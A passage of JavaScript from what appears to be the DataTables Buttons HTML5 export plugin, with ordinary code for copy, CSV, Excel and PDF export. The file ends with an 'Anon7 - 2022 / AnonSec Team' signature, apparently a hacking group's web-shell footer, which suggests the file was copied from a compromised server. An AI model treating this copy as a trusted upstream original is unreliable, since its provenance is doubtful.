        '<xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="1" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="2" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '</cellXfs>' +
        '<cellStyles count="1">' +
        '<cellStyle name="Normal" xfId="0" builtinId="0" />' +
        '</cellStyles>' +
        '<dxfs count="0" />' +
        '<tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" />' +
        '</styleSheet>'
    };
// Note we could use 3 `for` loops for the styles, but when gzipped there is
// virtually no difference in size, since the above can be easily compressed

// Pattern matching for special number formats. Perhaps this should be exposed
// via an API in future?
// Ref: section 3.8.30 - built in formatters in open spreadsheet
//   https://www.ecma-international.org/news/TC45_current_work/Office%20Open%20XML%20Part%204%20-%20Markup%20Language%20Reference.pdf
    var _excelSpecials = [
        {
            match: /^\-?\d+\.\d%$/, style: 60, fmt: function (d) {
            return d / 100;
        }
        }, // Precent with d.p.
        {
            match: /^\-?\d+\.?\d*%$/, style: 56, fmt: function (d) {
            return d / 100;
        }
        }, // Percent
        {match: /^\-?\$[\d,]+.?\d*$/, style: 57}, // Dollars
        {match: /^\-?£[\d,]+.?\d*$/, style: 58}, // Pounds
        {match: /^\-?€[\d,]+.?\d*$/, style: 59}, // Euros
        {match: /^\-?\d+$/, style: 65}, // Numbers without thousand separators
        {match: /^\-?\d+\.\d{2}$/, style: 66}, // Numbers 2 d.p. without thousands separators
        {
            match: /^\([\d,]+\)$/, style: 61, fmt: function (d) {
            return -1 * d.replace(/[\(\)]/g, '');
        }
        },  // Negative numbers indicated by brackets
        {
            match: /^\([\d,]+\.\d{2}\)$/, style: 62, fmt: function (d) {
            return -1 * d.replace(/[\(\)]/g, '');
        }
        },  // Negative numbers indicated by brackets - 2d.p.
        {match: /^\-?[\d,]+$/, style: 63}, // Numbers with thousand separators
        {match: /^\-?[\d,]+\.\d{2}$/, style: 64}  // Numbers with 2 d.p. and thousands separators
    ];


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Buttons
     */

//
// Copy to clipboard
//
    DataTable.ext.buttons.copyHtml5 = {
        className: 'buttons-copy buttons-html5',

        text: function (dt) {
            return dt.i18n('buttons.copy', 'Copy');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            var that       = this;
            var exportData = _exportData(dt, config);
            var output     = exportData.str;
            var hiddenDiv  = $('<div/>')
                .css({
                    height: 1,
                    width: 1,
                    overflow: 'hidden',
                    position: 'fixed',
                    top: 0,
                    left: 0
                });

            if (config.customize) {
                output = config.customize(output, config);
            }

            var textarea = $('<textarea readonly/>')
                .val(output)
                .appendTo(hiddenDiv);

            // For browsers that support the copy execCommand, try to use it
            if (document.queryCommandSupported('copy')) {
                hiddenDiv.appendTo(dt.table().container());
                textarea[0].focus();
                textarea[0].select();

                try {
                    var successful = document.execCommand('copy');
                    hiddenDiv.remove();

                    if (successful) {
                        dt.buttons.info(
                            dt.i18n('buttons.copyTitle', 'Copy to clipboard'),
                            dt.i18n('buttons.copySuccess', {
                                1: 'Copied one row to clipboard',
                                _: 'Copied %d rows to clipboard'
                            }, exportData.rows),
                            2000
                        );

                        this.processing(false);
                        return;
                    }
                }
                catch (t) {
                }
            }

            // Otherwise we show the text box and instruct the user to use it
            var message = $('<span>' + dt.i18n('buttons.copyKeys',
                'Press <i>ctrl</i> or <i>\u2318</i> + <i>C</i> to copy the table data<br>to your system clipboard.<br><br>' +
                'To cancel, click this message or press escape.') + '</span>'
            )
                .append(hiddenDiv);

            dt.buttons.info(dt.i18n('buttons.copyTitle', 'Copy to clipboard'), message, 0);

            // Select the text so when the user activates their system clipboard
            // it will copy that text
            textarea[0].focus();
            textarea[0].select();

            // Event to hide the message when the user is done
            var container = $(message).closest('.dt-button-info');
            var close     = function () {
                container.off('click.buttons-copy');
                $(document).off('.buttons-copy');
                dt.buttons.info(false);
            };

            container.on('click.buttons-copy', close);
            $(document)
                .on('keydown.buttons-copy', function (e) {
                    if (e.keyCode === 27) { // esc
                        close();
                        that.processing(false);
                    }
                })
                .on('copy.buttons-copy cut.buttons-copy', function () {
                    close();
                    that.processing(false);
                });
        },

        exportOptions: {},

        fieldSeparator: '\t',

        fieldBoundary: '',

        header: true,

        footer: false
    };

//
// CSV export
//
    DataTable.ext.buttons.csvHtml5 = {
        bom: false,

        className: 'buttons-csv buttons-html5',

        available: function () {
            return window.FileReader !== undefined && window.Blob;
        },

        text: function (dt) {
            return dt.i18n('buttons.csv', 'CSV');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            // Set the text
            var output  = _exportData(dt, config).str;
            var charset = config.charset;

            if (config.customize) {
                output = config.customize(output, config);
            }

            if (charset !== false) {
                if (!charset) {
                    charset = document.characterSet || document.charset;
                }

                if (charset) {
                    charset = ';charset=' + charset;
                }
            }
            else {
                charset = '';
            }

            if (config.bom) {
                output = '\ufeff' + output;
            }

            _saveAs(
                new Blob([output], {type: 'text/csv' + charset}),
                _filename(config),
                true
            );

            this.processing(false);
        },

        filename: '*',

        extension: '.csv',

        exportOptions: {},

        fieldSeparator: ',',

        fieldBoundary: '"',

        escapeChar: '"',

        charset: null,

        header: true,

        footer: false
    };

//
// Excel (xlsx) export
//
    DataTable.ext.buttons.excelHtml5 = {
        className: 'buttons-excel buttons-html5',

        available: function () {
            return window.FileReader !== undefined && _jsZip() !== undefined && !_isDuffSafari() && _serialiser;
        },

        text: function (dt) {
            return dt.i18n('buttons.excel', 'Excel');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            var that    = this;
            var rowPos  = 0;
            var getXml  = function (type) {
                var str = excelStrings[type];

                //str = str.replace( /xmlns:/g, 'xmlns_' ).replace( /mc:/g, 'mc_' );

                return $.parseXML(str);
            };
            var rels    = getXml('xl/worksheets/sheet1.xml');
            var relsGet = rels.getElementsByTagName("sheetData")[0];

            var xlsx = {
                _rels: {
                    ".rels": getXml('_rels/.rels')
                },
                xl: {
                    _rels: {
                        "workbook.xml.rels": getXml('xl/_rels/workbook.xml.rels')
                    },
                    "workbook.xml": getXml('xl/workbook.xml'),
                    "styles.xml": getXml('xl/styles.xml'),
                    "worksheets": {
                        "sheet1.xml": rels
                    }

                },
                "[Content_Types].xml": getXml('[Content_Types].xml')
            };

            var data   = dt.buttons.exportData(config.exportOptions);
            var currentRow, rowNode;
            var addRow = function (row) {
                currentRow = rowPos + 1;
                rowNode    = _createNode(rels, "row", {attr: {r: currentRow}});

                for (var i = 0, ien = row.length; i < ien; i++) {
                    // Concat both the Cell Columns as a letter and the Row of the cell.
                    var cellId = createCellPos(i) + '' + currentRow;
                    var cell   = null;

                    // For null, undefined of blank cell, continue so it doesn't create the _createNode
                    if (row[i] === null || row[i] === undefined || row[i] === '') {
                        continue;
                    }

                    row[i] = $.trim(row[i]);

                    // Special number formatting options
                    for (var j = 0, jen = _excelSpecials.length; j < jen; j++) {
                        var special = _excelSpecials[j];

                        // TODO Need to provide the ability for the specials to say
                        // if they are returning a string, since at the moment it is
                        // assumed to be a number
                        if (row[i].match && !row[i].match(/^0\d+/) && row[i].match(special.match)) {
                            var val = row[i].replace(/[^\d\.\-]/g, '');

                            if (special.fmt) {
                                val = special.fmt(val);
                            }

                            cell = _createNode(rels, 'c', {
                                attr: {
                                    r: cellId,
                                    s: special.style
                                },
                                children: [
                                    _createNode(rels, 'v', {text: val})
                                ]
                            });

                            break;
                        }
                    }

                    if (!cell) {
                        if (typeof row[i] === 'number' || (
                                row[i].match &&
                                row[i].match(/^-?\d+(\.\d+)?$/) &&
                                !row[i].match(/^0\d+/) )
                        ) {
                            // Detect numbers - don't match numbers with leading zeros
                            // or a negative anywhere but the start
                            cell = _createNode(rels, 'c', {
                                attr: {
                                    t: 'n',
                                    r: cellId
                                },
                                children: [
                                    _createNode(rels, 'v', {text: row[i]})
                                ]
                            });
                        }
                        else {
                            // String output - replace non standard characters for text output
                            var text = !row[i].replace ?
                                row[i] :
                                row[i].replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g, '');

                            cell = _createNode(rels, 'c', {
                                attr: {
                                    t: 'inlineStr',
                                    r: cellId
                                },
                                children: {
                                    row: _createNode(rels, 'is', {
                                        children: {
                                            row: _createNode(rels, 't', {
                                                text: text
                                            })
                                        }
                                    })
                                }
                            });
                        }
                    }

                    rowNode.appendChild(cell);
                }

                relsGet.appendChild(rowNode);
                rowPos++;
            };

            $('sheets sheet', xlsx.xl['workbook.xml']).attr('name', _sheetname(config));

            if (config.customizeData) {
                config.customizeData(data);
            }

            if (config.header) {
                addRow(data.header, rowPos);
                $('row c', rels).attr('s', '2'); // bold
            }

            for (var n = 0, ie = data.body.length; n < ie; n++) {
                addRow(data.body[n], rowPos);
            }

            if (config.footer && data.footer) {
                addRow(data.footer, rowPos);
                $('row:last c', rels).attr('s', '2'); // bold
            }

            // Set column widths
            var cols = _createNode(rels, 'cols');
            $('worksheet', rels).prepend(cols);

            for (var i = 0, ien = data.header.length; i < ien; i++) {
                cols.appendChild(_createNode(rels, 'col', {
                    attr: {
                        min: i + 1,
                        max: i + 1,
                        width: _excelColWidth(data, i),
                        customWidth: 1
                    }
                }));
            }

            // Let the developer customise the document if they want to
            if (config.customize) {
                config.customize(xlsx);
            }

            var jszip     = _jsZip();
            var zip       = new jszip();
            var zipConfig = {
                type: 'blob',
                mimeType: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'
            };

            _addToZip(zip, xlsx);

            if (zip.generateAsync) {
                // JSZip 3+
                zip
                    .generateAsync(zipConfig)
                    .then(function (blob) {
                        _saveAs(blob, _filename(config));
                        that.processing(false);
                    });
            }
            else {
                // JSZip 2.5
                _saveAs(
                    zip.generate(zipConfig),
                    _filename(config)
                );
                this.processing(false);
            }
        },

        filename: '*',

        extension: '.xlsx',

        exportOptions: {},

        header: true,

        footer: false
    };

//
// PDF export - using pdfMake - http://pdfmake.org
//
    DataTable.ext.buttons.pdfHtml5 = {
        className: 'buttons-pdf buttons-html5',

        available: function () {
            return window.FileReader !== undefined && _pdfMake();
        },

        text: function (dt) {
            return dt.i18n('buttons.pdf', 'PDF');
        },

        action: function (e, dt, button, config) {
            this.processing(true);

            var that = this;
            var data = dt.buttons.exportData(config.exportOptions);
            var rows = [];

            if (config.header) {
                rows.push($.map(data.header, function (d) {
                    return {
                        text: typeof d === 'string' ? d : d + '',
                        style: 'tableHeader'
                    };
                }));
            }

            for (var i = 0, ien = data.body.length; i < ien; i++) {
                rows.push($.map(data.body[i], function (d) {
                    return {
                        text: typeof d === 'string' ? d : d + '',
                        style: i % 2 ? 'tableBodyEven' : 'tableBodyOdd'
                    };
                }));
            }

            if (config.footer && data.footer) {
                rows.push($.map(data.footer, function (d) {
                    return {
                        text: typeof d === 'string' ? d : d + '',
                        style: 'tableFooter'
                    };
                }));
            }

            var doc = {
                pageSize: config.pageSize,
                pageOrientation: config.orientation,
                content: [
                    {
                        table: {
                            headerRows: 1,
                            body: rows
                        },
                        layout: 'noBorders'
                    }
                ],
                styles: {
                    tableHeader: {
                        bold: true,
                        fontSize: 11,
                        color: 'white',
                        fillColor: '#2d4154',
                        alignment: 'center'
                    },
                    tableBodyEven: {},
                    tableBodyOdd: {
                        fillColor: '#f3f3f3'
                    },
                    tableFooter: {
                        bold: true,
                        fontSize: 11,
                        color: 'white',
                        fillColor: '#2d4154'
                    },
                    title: {
                        alignment: 'center',
                        fontSize: 15
                    },
                    message: {}
                },
                defaultStyle: {
                    fontSize: 10
                }
            };

            if (config.message) {
                doc.content.unshift({
                    text: typeof config.message == 'function' ? config.message(dt, button, config) : config.message,
                    style: 'message',
                    margin: [0, 0, 0, 12]
                });
            }

            if (config.title) {
                doc.content.unshift({
                    text: _title(config, false),
                    style: 'title',
                    margin: [0, 0, 0, 12]
                });
            }

            if (config.customize) {
                config.customize(doc, config);
            }

            var pdf = _pdfMake().createPdf(doc);

            if (config.download === 'open' && !_isDuffSafari()) {
                pdf.open();
                this.processing(false);
            }
            else {
                pdf.getBuffer(function (buffer) {
                    var blob = new Blob([buffer], {type: 'application/pdf'});

                    _saveAs(blob, _filename(config));
                    that.processing(false);
                });
            }
        },

        title: '*',

        filename: '*',

        extension: '.pdf',

        exportOptions: {},

        orientation: 'portrait',

        pageSize: 'A4',

        header: true,

        footer: false,

        message: null,

        customize: null,

        download: 'download'
    };


    return DataTable.Buttons;
}));

Anon7 - 2022
AnonSec Team